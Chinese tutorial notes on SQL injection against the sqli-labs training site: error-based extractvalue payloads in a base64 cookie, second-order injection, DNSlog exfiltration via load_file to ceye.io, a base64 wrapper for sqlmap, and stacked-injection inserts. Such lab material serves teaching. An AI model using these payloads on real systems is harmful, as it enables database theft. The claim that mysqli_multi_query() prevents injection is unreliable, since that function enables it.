把%3D改成=号,Decode as base64,得出结果。
注入点在cookie,先构造admin’测试注入点格式,然后加密注入
根据报错信息得知是(’’)类型的参数,故我们可以构造admin’ and ‘1’='1
原理:接收cookie值uname赋予给cookee,对cookee进行base64_decode解码,解码之后带入数据库中。所以在注入语句要还原它的加密方式,把注入语句按照它的加密方式进行加密,然后再提交。
开始注入:
获取版本
admin' or extractvalue(0x7e,concat(0x7e,version(),0x7e)) and '1'='1
获取数据库
admin' or extractvalue(0x7e,concat(0x7e,database(),0x7e)) and '1'='1
获得表
admin' or extractvalue(0x7e,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '1'='1
admin' or extractvalue(0x7e,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) and '1'='1
获得数据
admin' or extractvalue(0x7e,concat(0x7e,(select group_concat(username) from users),0x7e)) and '1'='1
二次注入无法通过扫描工具或者代码自己手工测试出来的,二次注入一般会产生在网站程序源代码才会发现的注入漏洞,从前端或者黑盒测试是看不到这个漏洞。
less24的二次注入原理,主要分为两步:
第一步:插入恶意数据
第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
第二步:引用恶意数据
在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
注册新用户
登录进行修改密码界面,把原始密码123456修改成xxxxxx
欺骗数据库,把id为15的密码改了
注册的时候插入语句中将进行了转义有单引号的,所以不会被当做专门的双引号,而是普通的字符,后来修改密码用的是update语句,他没有任何的检查和过滤机制,所以导致出现了注入漏洞。
转义后的字符出现在数据库的样子+符号可以进行转义,然后在php通过函数也能进行转义
未转义不执行:
已转义可执行:
更新语句报错注入:
在php中#将后面的password判断注释掉了,所以他查询了admin4的数据,将他的密码改掉。
mysql_real_escape_string() 函数以及预防数据库攻击的正确做法
字符长度限制问题
如果在前端有限制,我们可以在前端修改代码,如果在后端,或者我们看不到的地方限制了长度,或者说是数据库里面的数据刚开始就设定长度,我们是无法修改长度的。
DNSlog:解决了盲注不能回显数据,效率低的问题。
http://127.0.0.1:8080/sqlilabs/less-2/?id=-1
and if((select load_file(concat(’\\’,(select version()),’.1t7i2f.ceye.io\abc’))),1,0)–+
D:\Python27\python.exe dnslogSql.py -u "http://127.0.0.1:8080/sqlilabs/Less-9/?id=1’ and ({})–+
条件:高权限,有文件读取权限
select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.ek0jr.ceye.io\\abc'))),1,0);
py-DnslogSqlinj-dnslog诸如演示脚本演示
工具:https://github.com/ADOOO/DnslogSqlinj
Base64注入
不用工具里的内置函数的话,怎么用base64编码注入
php代码如下
//test.php
$url='http://xxxx/job_bystjb/yjs_byszjs.asp?id=';
$payload=base64_encode($_GET['x']);//获取get值然后base加密
echo $payload;
$urls=$url.$payload;//php拼接用.
file_get_contents($urls);//访问
echo $urls;//输出
?>
然后用sqlmap注入
PHP file_get_contents() 函数
Stacked injections(堆叠注入)从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加;表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
堆叠注入的局限性在于并不是每一个环境下都可以执行,可能受到API或者数据库引擎的不支持的限制,当然了权限不足也可以解释为什么攻击者无法修改数据或者调用一些数据。
php中有mysqli_multi_query()执行函数才可以注入,防注入可以改为 mysqli_multi_query()
用处:有时候注入需要管理员账号密码,密码是加密,无法解密,使用堆叠注入进行插入数据,用户密码自定义的,可以正常解密登录。
在mysql中堆叠注入的示例:
案例:Sqlilabs-Less38-堆叠注入(多语句)
http://127.0.0.1/sqli-labs/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+